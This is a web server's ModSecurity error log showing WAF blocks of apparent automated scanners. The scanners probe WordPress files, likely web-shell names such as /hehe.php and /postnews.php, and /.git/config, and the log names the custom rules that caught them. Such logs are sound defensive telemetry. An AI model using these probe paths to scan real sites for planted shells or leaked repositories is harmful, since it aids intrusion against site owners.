[Thu Nov 13 17:55:44.818596 2025] [:error] [pid 62217:tid 62282] [client 150.241.107.255:56599] [client 150.241.107.255] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "aRWrIBjGU3T9wKBmdNc26gAAAEg"]
[Thu Nov 13 21:01:53.489453 2025] [:error] [pid 6086:tid 6101] [client 143.244.57.82:43414] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRXWwX9_6CRZzjZnAe1cPgAAAQw"]
[Thu Nov 13 21:01:53.489906 2025] [:error] [pid 6086:tid 6100] [client 143.244.57.82:43424] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRXWwX9_6CRZzjZnAe1cPwAAAQs"]
[Thu Nov 13 21:01:53.952149 2025] [:error] [pid 62303:tid 62315] [client 143.244.57.82:43440] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "aRXWwb-hlFTtVrZw8jANgQAAAIg"]
[Thu Nov 13 21:01:53.953084 2025] [:error] [pid 62215:tid 62228] [client 143.244.57.82:43454] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "aRXWwUvClof1c6XaOBXwSAAAAMk"]
[Thu Nov 13 21:01:54.418393 2025] [:error] [pid 62217:tid 62276] [client 143.244.57.82:43502] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feed/"] [unique_id "aRXWwhjGU3T9wKBmdNdchwAAAEI"]
[Thu Nov 13 21:01:54.418400 2025] [:error] [pid 62217:tid 62278] [client 143.244.57.82:43488] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/feed/"] [unique_id "aRXWwhjGU3T9wKBmdNdchgAAAEQ"]
[Thu Nov 13 21:02:41.480440 2025] [:error] [pid 62217:tid 62294] [client 143.244.57.82:33682] [client 143.244.57.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.57.82, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aRXW8RjGU3T9wKBmdNdcvQAAAFQ"]
[Thu Nov 13 21:02:41.501479 2025] [:error] [pid 44245:tid 44268] [client 143.244.57.82:33692] [client 143.244.57.82] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 143.244.57.82, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aRXW8Yk7r-HKZdqw-dX25AAAAVE"]
[Thu Nov 13 21:02:41.748989 2025] [:error] [pid 44245:tid 44261] [client 143.244.57.82:33692] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "aRXW8Yk7r-HKZdqw-dX25gAAAUo"]
[Thu Nov 13 21:02:41.977442 2025] [:error] [pid 62217:tid 62293] [client 143.244.57.82:33682] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aRXW8RjGU3T9wKBmdNdcvwAAAFM"]
[Thu Nov 13 21:02:42.677733 2025] [:error] [pid 44354:tid 44366] [client 143.244.57.82:33708] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "aRXW8nqKopQhy3G4s3mp2AAAAYc"]
[Thu Nov 13 21:02:42.906819 2025] [:error] [pid 62215:tid 62237] [client 143.244.57.82:33720] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aRXW8kvClof1c6XaOBXwkwAAANI"]
[Thu Nov 13 21:02:43.609077 2025] [:error] [pid 62303:tid 62329] [client 143.244.57.82:33724] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aRXW87-hlFTtVrZw8jAN4gAAAJY"]
[Thu Nov 13 21:02:43.844050 2025] [:error] [pid 62216:tid 62263] [client 143.244.57.82:33736] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aRXW8-pyFB9M2aVQhwNYIgAAABA"]
[Thu Nov 13 21:02:44.539724 2025] [:error] [pid 62216:tid 62265] [client 143.244.57.82:33748] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aRXW9OpyFB9M2aVQhwNYJgAAABI"]
[Thu Nov 13 21:02:44.773891 2025] [:error] [pid 62215:tid 62232] [client 143.244.57.82:33750] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aRXW9EvClof1c6XaOBXwlgAAAM0"]
[Thu Nov 13 21:02:45.471064 2025] [:error] [pid 62303:tid 62321] [client 143.244.57.82:33762] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aRXW9b-hlFTtVrZw8jAN5wAAAI4"]
[Thu Nov 13 21:02:45.707290 2025] [:error] [pid 44354:tid 44375] [client 143.244.57.82:33770] [client 143.244.57.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "aRXW9XqKopQhy3G4s3mp3QAAAZA"]
[Thu Nov 13 22:51:42.586218 2025] [:error] [pid 19872:tid 19893] [client 45.138.16.29:60505] [client 45.138.16.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/postnews.php"] [unique_id "aRXwfsusrN1b6ZJ_vbsorQAAAFA"]
[Thu Nov 13 22:51:43.330172 2025] [:error] [pid 28868:tid 28873] [client 45.138.16.29:60595] [client 45.138.16.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aRXwf4q9fgBJ6LAEEDzc5gAAAUM"]
[Thu Nov 13 22:51:43.864021 2025] [:error] [pid 19872:tid 19887] [client 45.138.16.29:60674] [client 45.138.16.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aRXwf8usrN1b6ZJ_vbsoyAAAAEo"]
[Thu Nov 13 23:02:03.586282 2025] [:error] [pid 5086:tid 5096] [client 182.43.70.143:37050] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRXy6x_dsYLFCHw574jDqAAAAQc"]
[Fri Nov 14 06:02:23.489381 2025] [:error] [pid 47630:tid 47636] [client 68.154.21.129:59151] [client 68.154.21.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "aRZVb8xXXNBfWgpfVJ4rygAAAQQ"]
[Fri Nov 14 06:02:23.995272 2025] [:error] [pid 47154:tid 47166] [client 68.154.21.129:58437] [client 68.154.21.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "aRZVb0ijA13A3g3ATrJupgAAAAc"]
[Fri Nov 14 06:02:24.452963 2025] [:error] [pid 47154:tid 47178] [client 68.154.21.129:59145] [client 68.154.21.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "aRZVcEijA13A3g3ATrJuqQAAABM"]
[Fri Nov 14 06:02:24.921339 2025] [:error] [pid 47155:tid 47209] [client 68.154.21.129:58464] [client 68.154.21.129] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/hehe.php"] [unique_id "aRZVcJipxRXMZJH8hmjzswAAAFc"]
[Fri Nov 14 10:45:45.099835 2025] [:error] [pid 59105:tid 59115] [client 49.51.252.146:48048] [client 49.51.252.146] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aRaX2bd-anP1JpNfuSLkhQAAAUg"]
[Fri Nov 14 11:29:42.098019 2025] [:error] [pid 59105:tid 59110] [client 203.2.64.59:58076] [client 203.2.64.59] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRaiJrd-anP1JpNfuSL6MQAAAUM"]
[Fri Nov 14 14:49:52.447789 2025] [:error] [pid 16709:tid 16715] [client 43.135.138.128:46900] [client 43.135.138.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aRbREKNdzfVNC4oipLUFkQAAAUQ"]
[Fri Nov 14 15:35:40.686789 2025] [:error] [pid 16575:tid 16653] [client 43.130.102.7:59834] [client 43.130.102.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRbbzO6qT670YxigvbBWjAAAANM"]
[Fri Nov 14 17:06:35.293075 2025] [:error] [pid 16574:tid 16626] [client 139.59.44.209:57566] [client 139.59.44.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.44.209, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aRbxG_6XQqe4NqaoE9InLQAAAJM"]
[Fri Nov 14 17:06:35.841154 2025] [:error] [pid 16575:tid 16634] [client 139.59.44.209:57687] [client 139.59.44.209] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 139.59.44.209, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aRbxG-6qT670YxigvbB2eQAAAMA"]
[Fri Nov 14 17:52:54.464114 2025] [:error] [pid 16573:tid 16583] [client 125.94.144.102:41318] [client 125.94.144.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aRb79iPGexfUk9FDoEKYqwAAAEU"]
[Fri Nov 14 19:58:55.904889 2025] [:error] [pid 16574:tid 16623] [client 43.130.102.7:36414] [client 43.130.102.7] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRcZf_6XQqe4NqaoE9JRJAAAAJA"]
[Fri Nov 14 23:05:36.952659 2025] [:error] [pid 1170:tid 1188] [client 103.97.104.150:61509] [client 103.97.104.150] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.97.104.150, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aRdFQA5pkvzCDzzjItS2fgAAABA"]
[Sat Nov 15 00:20:41.305999 2025] [:error] [pid 45908:tid 45960] [client 43.166.129.247:53072] [client 43.166.129.247] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRdW2WWG19mWwZX7KatMAQAAABY"]
[Sat Nov 15 00:34:27.934875 2025] [:error] [pid 45907:tid 45914] [client 222.79.104.23:60335] [client 222.79.104.23] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRdaE1AqmYxCpnT9gJFxLAAAAUM"]
[Sat Nov 15 00:54:42.362632 2025] [autoindex:error] [pid 45995:tid 46013] [client 4.205.170.231:18038] AH01276: Cannot serve directory /usr/local/apache/autossl_tmp/.well-known/acme-challenge/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sat Nov 15 00:54:47.329229 2025] [:error] [pid 45995:tid 46024] [client 4.205.170.231:18038] [client 4.205.170.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/"] [unique_id "aRde18fhZrb6EV4SvFu2VgAAAhg"]
[Sat Nov 15 00:54:47.739758 2025] [:error] [pid 45995:tid 46009] [client 4.205.170.231:18040] [client 4.205.170.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/"] [unique_id "aRde18fhZrb6EV4SvFu2VwAAAgk"]
[Sat Nov 15 00:54:48.151934 2025] [:error] [pid 45907:tid 45928] [client 4.205.170.231:42453] [client 4.205.170.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/"] [unique_id "aRde2FAqmYxCpnT9gJF4vgAAAVE"]
[Sat Nov 15 00:54:48.563673 2025] [:error] [pid 45995:tid 46007] [client 4.205.170.231:41022] [client 4.205.170.231] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/"] [unique_id "aRde2MfhZrb6EV4SvFu2XAAAAgc"]
[Sat Nov 15 06:17:37.347708 2025] [:error] [pid 27909:tid 27932] [client 34.244.162.200:58282] [client 34.244.162.200] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aReqgSTfZ6B57n8HepWYHQAAABM"]
[Sat Nov 15 12:09:26.620489 2025] [:error] [pid 19959:tid 19976] [client 138.197.23.42:64541] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRf89sjejiTUP1-IawOAMQAAAYo"]
[Sat Nov 15 12:09:27.473420 2025] [:error] [pid 27997:tid 28016] [client 138.197.23.42:64865] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRf899pja_6cDxKbxFmORAAAANE"]
[Sat Nov 15 12:09:28.338537 2025] [:error] [pid 20346:tid 20349] [client 138.197.23.42:65207] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRf8-J7hsydZdIoVTlvNCgAAAwA"]
[Sat Nov 15 12:09:29.195653 2025] [:error] [pid 19961:tid 20013] [client 138.197.23.42:52460] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRf8-Tar7Si-84EApVQ2gQAAAdQ"]
[Sat Nov 15 12:09:30.060010 2025] [:error] [pid 20346:tid 20363] [client 138.197.23.42:53085] [client 138.197.23.42] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRf8-p7hsydZdIoVTlvNJAAAAw4"]
[Sat Nov 15 12:53:11.382275 2025] [:error] [pid 22765:tid 22791] [client 182.42.111.156:47395] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aRgHN6brQzjuZmPIWDanwAAAApU"]
[Sat Nov 15 17:16:45.623966 2025] [:error] [pid 20313:tid 20328] [client 43.163.206.70:36152] [client 43.163.206.70] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aRhE_RI9DXIgPadBLUaBcwAAAsw"]
